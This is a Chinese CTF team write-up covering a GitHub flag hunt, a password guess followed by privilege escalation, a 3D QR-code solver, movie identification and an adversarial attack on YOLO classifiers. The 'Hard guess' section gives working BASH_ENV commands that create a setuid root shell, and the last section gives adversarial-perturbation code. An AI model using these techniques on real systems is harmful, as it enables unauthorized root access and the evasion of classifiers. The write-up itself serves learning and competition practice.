这次比赛完全是被队友带飞,N0wayBack的队友们tql

nowayback链接: Home | N0wayBack

signin

又是经典的github找flag,我记得上次也有哪个比赛是github上找东西的。

有个main分支点进去啥也没有,但是看活动记录就发现活动了两次

屏幕截图 2025-04-26 233207

直接比较变更发现flag

屏幕截图 2025-04-26 233307

Hard guess

屏幕截图 2025-04-28 182251

加藤惠猜密码

第一层用户名就是加藤惠的名字KatoMegumi

然后就是猜密码了,看她哪个简介发现说最好不要用姓名+生日,但是最后写了一个”…我猜“

一开始我还猜是不是伦也君的生日,最后才发现是Megumi960923,,

进去之后ls -a发现有一个hello

我们猜测是通过这个 hello 来提权

ida打开发现:

屏幕截图 2025-04-28 182517

主要利用这一句,bash -c命令执行

我们需要控制一下环境变量,也就是通过bash_env进行提权

前提知识: 在Linux中,.bashrc 被用来初始化交互shell,而BASH_ENV用来初始化非交互shell;

就是说只要是在 BASH_ENV 变量中写入的语句,在每个shell脚本执行前,都会执行一次。

这里我们只要在bash_env中写入恶意配置的话就可以拿到root shell了

可以这样(星盟的方法,直接拿shell):

1
2
3
4
echo 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell' > /tmp/exploit
export BASH_ENV=/tmp/exploit
./hello # 输入 'n' 触发 bash -c
/tmp/root_shell -p # 获取 root shell

也可以直接奔着flag去(nk):

1
2
3
4
5
6
7
export BASH_ENV=/tmp/test.sh 
echo 'cat /root/flag > /tmp/root.txt 2>&1' > /tmp/test.sh

/opt/hello
n

cat /tmp/root.txt

就能看到flag了

QQQRcode

exp如下

直接运行就能得到flag——要是所有题都这样就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import string
import hashlib
from pwn import remote, log
import qrcode
import pulp

# 1. 生成 21×21 二维二维码矩阵
def qr_matrix(data: str):
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=1,
border=0
)
qr.add_data(data)
qr.make(fit=False)
mat = qr.get_matrix() # mat[y][x]
# 转成 [x][y]
return [[1 if mat[y][x] else 0 for y in range(21)] for x in range(21)]

front = qr_matrix("Azure")
left = qr_matrix("Assassin")
top = qr_matrix("Alliance")

# 2. 建 ILP 并求解
prob = pulp.LpProblem("ctf_3d_qr", pulp.LpMinimize)
p = [[[pulp.LpVariable(f"p_{x}_{y}_{z}", cat="Binary")
for z in range(21)]
for y in range(21)]
for x in range(21)]

# 目标:最小化体素数
prob += pulp.lpSum(p[x][y][z]
for x in range(21)
for y in range(21)
for z in range(21))

# front (XY)
for x in range(21):
for y in range(21):
s = pulp.lpSum(p[x][y][z] for z in range(21))
prob += (s >= 1) if front[x][y] else (s == 0)

# left (YZ)
for y in range(21):
for z in range(21):
s = pulp.lpSum(p[x][y][z] for x in range(21))
prob += (s >= 1) if left[y][z] else (s == 0)

# top (XZ)
for x in range(21):
for z in range(21):
s = pulp.lpSum(p[x][y][z] for y in range(21))
prob += (s >= 1) if top[x][z] else (s == 0)

# 限制总黑点 < 390
prob += pulp.lpSum(p[x][y][z]
for x in range(21)
for y in range(21)
for z in range(21)) <= 389

prob.solve(pulp.PULP_CBC_CMD(msg=False))

# 3. 平展成 9261 位二进制串
bits = []
for z in range(21):
for y in range(21):
for x in range(21):
bits.append('1' if pulp.value(p[x][y][z]) > 0.5 else '0')
data_str = ''.join(bits)

# 4. 远程连接 + POW + 发送 + 打 flag
def solve():
HOST, PORT = "1.95.71.197", 9999
r = remote(HOST, PORT, timeout=10)
line = r.recvline().decode().strip()
# e.g. sha256(XXXX+abcdef) == deadbeef...
left_part, target = map(str.strip, line.split("==",1))
suffix = left_part.split("+",1)[1].rstrip(")")
log.info(f"POW suffix = {suffix!r}, target hash = {target}")
suffix_b = suffix.encode()

# 四重循环暴力破解 4 字符 XXXX
chars = string.ascii_letters + string.digits
found = None
for a in chars:
for b in chars:
for c in chars:
for d in chars:
xxxx = a+b+c+d
h = hashlib.sha256()
h.update(xxxx.encode())
h.update(suffix_b)
if h.hexdigest() == target:
found = xxxx
break
if found: break
if found: break
if found: break

if not found:
log.error("BRUTE-POW FAILED")
log.success(f"FOUND POW = {found}")
r.sendline(found)

r.recvline() # "Right!"
r.sendline(data_str)
flag = r.recvline(timeout=5).decode().strip()
print("\n>>> FLAG:", flag)

if __name__ == "__main__":
solve()

得到

屏幕截图 2025-04-26 233920

master of movie

电影大师

具体思路是网上找对应的电影,使用谷歌搜图等工具

666这题找半天电影最后发现是环境炸了。。

题目 编号
easy_0 tt0017136
easy_1 tt8893624
easy_2 tt0109946
easy_3 tt17526714
easy_4 tt31309480
easy_5 tt34382036
easy_6 tt8503618
easy_7 tt0368226
easy_8 tt0103767
easy_9 tt0110912
hard_0 没找到
hard_1 tt0109688
hard_2 tt26471411
hard_3 tt0043306
hard_4 tt5004766

其中确信的是(找到的。。):
easy_1:

1280X1280 (1)

hard_1:

1280X1280 (2)

hard_3:

0502c560-6116-456b-9706-eb0107fed27e

hard_4:

370e4e1d-350b-4379-9538-7e55e2e60adc

然后动态验证码的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
import itertools
import string

target_prefix = "a91ee6"
suffix = "ipdw8"

charset = string.ascii_letters + string.digits
for candidate in itertools.product(charset, repeat=4):
candidate_str = ''.join(candidate)
full_str = candidate_str + suffix
hash_result = hashlib.sha256(full_str.encode()).hexdigest()

if hash_result.startswith(target_prefix):
print(f"Found: {candidate_str}")
print(f"Hash: {hash_result}")
break

yolov?-cls

目前我还不会,老大(cain)的wp:

adv是针对于yolo11x和yolo8x两个模型的,similar标准是L1Loss+Max

比较麻烦的地方在于,第一次上手yolo需要看源码,找到preprocess过程和output逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from ultralytics import YOLO
import numpy as np
from PIL import Image
import time
import base64
from io import BytesIO
import torch
import torch.nn as nn
from torchvision import transforms

device = torch.device('cuda'if torch.cuda.is_available() else'cpu')
print(f'Using device: {device}')

modelv11_ori = YOLO("yolo11x-cls.pt")
modelv8_ori = YOLO("yolov8x-cls.pt")
modelv11 = modelv11_ori.model.to(device)
modelv8 = modelv8_ori.model.to(device)

# v11_transforms = modelv11.transforms
# v8_transforms = modelv8.transforms
transform = transforms.Compose(
[
transforms.Resize(size=224, interpolation=transforms.InterpolationMode.BILINEAR, max_size=None, antialias=True),
transforms.CenterCrop(size=(224, 224)),
transforms.Normalize(mean=torch.tensor([0., 0., 0.]), std=torch.tensor([1., 1., 1.]))
]
)
tt = transforms.ToTensor()
tp = transforms.ToPILImage()

pig_ori = Image.open("pig.png").convert("RGB")
pig_tensor = tt(pig_ori).unsqueeze(0).to(device)
adv_tensor = pig_tensor.detach().clone()

adv_max = pig_tensor + 1.5/255.
adv_min = pig_tensor - 1.5/255.
adv_max = torch.clamp(adv_max, 0, 1)
adv_min = torch.clamp(adv_min, 0, 1)

adv_tensor.requires_grad = True
CE_loss = nn.CrossEntropyLoss().to(device)
classaverage_loss(nn.Module):
def__init__(self):
super().__init__()
defforward(self, x, y):
return torch.mean(abs(x - y))
L1_loss = average_loss().to(device)

for epoch inrange(10000):
inp = transform(adv_tensor)
pred_v11 = modelv11(inp)
pred_v8 = modelv8(inp)

if pred_v11[0][0][341].item() > 0.99and pred_v8[0][0][719].item() > 0.99:
pig_adv = tp(adv_tensor.squeeze(0).cpu())
average_diff = np.mean(
np.abs(
np.array(pig_ori).astype(np.int32) - np.array(pig_adv).astype(np.int32)
).astype(np.uint8)
)
max_diff = np.max(
np.abs(
np.array(pig_ori).astype(np.int32) - np.array(pig_adv).astype(np.int32)
).astype(np.uint8)
)
if average_diff < 1or max_diff < 2:
pig_adv.save(f"flag.png")
exit()
else:
print(f"CHECK FAILED average_diff: {average_diff} max_diff: {max_diff}")

# len(pred_v11) == 2 , pred_v11[0] is prob, pred_v11[1] is logits
loss_adv = CE_loss(pred_v11[1], torch.tensor([341], device=device)) + CE_loss(pred_v8[1], torch.tensor([719], device=device))
loss_ave = L1_loss(adv_tensor, pig_tensor)

loss = loss_adv + loss_ave
loss.backward()

grad = adv_tensor.grad
adv_tensor.requires_grad = False
adv_tensor.data = adv_tensor.data - grad * 0.1
adv_tensor.clamp_(adv_min, adv_max)
adv_tensor.requires_grad = True

print(f"Epoch {epoch}, Loss: {loss.item():.4f} Current prediction: {pred_v11[0][0][341].item():.4f}, {pred_v8[0][0][719].item():.4f} L1: {loss_ave.item():.4f}")